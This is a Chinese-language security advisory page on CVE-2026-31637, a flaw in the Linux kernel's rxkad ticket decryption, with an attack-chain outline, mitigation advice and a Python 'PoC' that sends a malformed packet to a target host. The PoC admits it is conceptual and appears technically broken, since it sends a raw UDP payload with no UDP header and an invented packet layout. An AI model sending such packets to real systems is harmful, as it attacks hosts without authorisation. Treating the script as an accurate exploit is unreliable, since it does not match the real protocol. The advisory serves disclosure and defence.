IPBUF安全漏洞报告
English
CVE-2026-31637 CVSS 9.8 严重

CVE-2026-31637 Linux内核rxkad票据解密校验缺失漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31637
漏洞类型
内存破坏
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRCEMemory CorruptionCryptographyRxrpcCritical

漏洞概述

Linux内核中的rxkad模块在处理RXKAD响应票据时存在安全漏洞。该函数在解密票据后,未检查解密操作是否成功便直接解析缓冲区内容。攻击者可利用非块对齐的票据长度导致解密失败,进而利用受控字节驱动解析器,可能引发远程代码执行或系统崩溃。

技术细节

该漏洞源于Linux内核net/rxrpc/rxkad.c文件中的逻辑缺陷。rxkad_decrypt_ticket()函数在调用crypto_skcipher_decrypt()解密票据后,忽略了函数的返回值。攻击者可以构造一个恶意的RESPONSE数据包,其中包含非块对齐的票据长度。这种构造会导致解密操作返回错误,但由于代码未对此进行检查,解析器会继续将缓冲区中的数据视为有效的明文票据进行处理。这使得攻击者能够向内核解析器注入任意受控数据,可能导致越界读写、信息泄露,结合其他技术甚至可实现内核级的远程代码执行。由于该漏洞无需认证且通过网络传播,危害极大。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别开启rxkad服务且运行受影响Linux内核版本的目标主机。
STEP 2
恶意构造
攻击者构造特制的RXRPC RESPONSE数据包,设置非块对齐的票据长度,填充攻击者控制的字节。
STEP 3
漏洞触发
向目标发送恶意数据包。目标内核rxkad_decrypt_ticket函数解密失败但未报错,继续解析受控缓冲区。
STEP 4
执行攻击
利用解析器的逻辑错误,导致内核内存破坏,引发拒绝服务或进一步实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-31637: rxkad ticket decryption bypass # This script attempts to send a malformed RXRPC packet to trigger the vulnerability. # Note: Target must be running a vulnerable Linux Kernel version. import socket import struct def send_malformed_rxrpc(target_ip, target_port): """ Sends a crafted RXRPC packet with non-block-aligned ticket length to trigger the parsing of attacker-controlled bytes. """ try: # Create a raw socket (requires root privileges) # Protocol number for RXRPC might vary, this is a conceptual example sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) # Construct a malformed packet header (Simplified structure) # Real RXRPC structure is complex, this focuses on the concept # of sending invalid length data. packet_magic = b"\x52\x58\x00\x00" # RXRPC magic bytes malformed_ticket_len = struct.pack('!I', 0x13) # Non-block-aligned length payload = packet_magic + malformed_ticket_len + b"A" * 100 # Attacker controlled bytes print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") else: send_malformed_rxrpc(sys.argv[1], int(sys.argv[2]))

影响范围

Linux Kernel < 6.6 (Specific commits apply)
Linux Kernel < 6.1 (Specific commits apply)
Linux Kernel stable branches prior to patches 22f6258e7b31dba9bf88dce4e3ee7f0f20072e60, 47073aab8a3a5a7b41c9bd37d2a3dcbeeccd6c8a, etc.

防御指南

临时缓解措施
建议立即更新Linux内核到修复了该漏洞的版本。如果无法立即更新,应限制网络访问,仅信任的主机可以连接到受影响的服务,并监控内核日志中是否有RXKADBADTICKET相关的异常记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表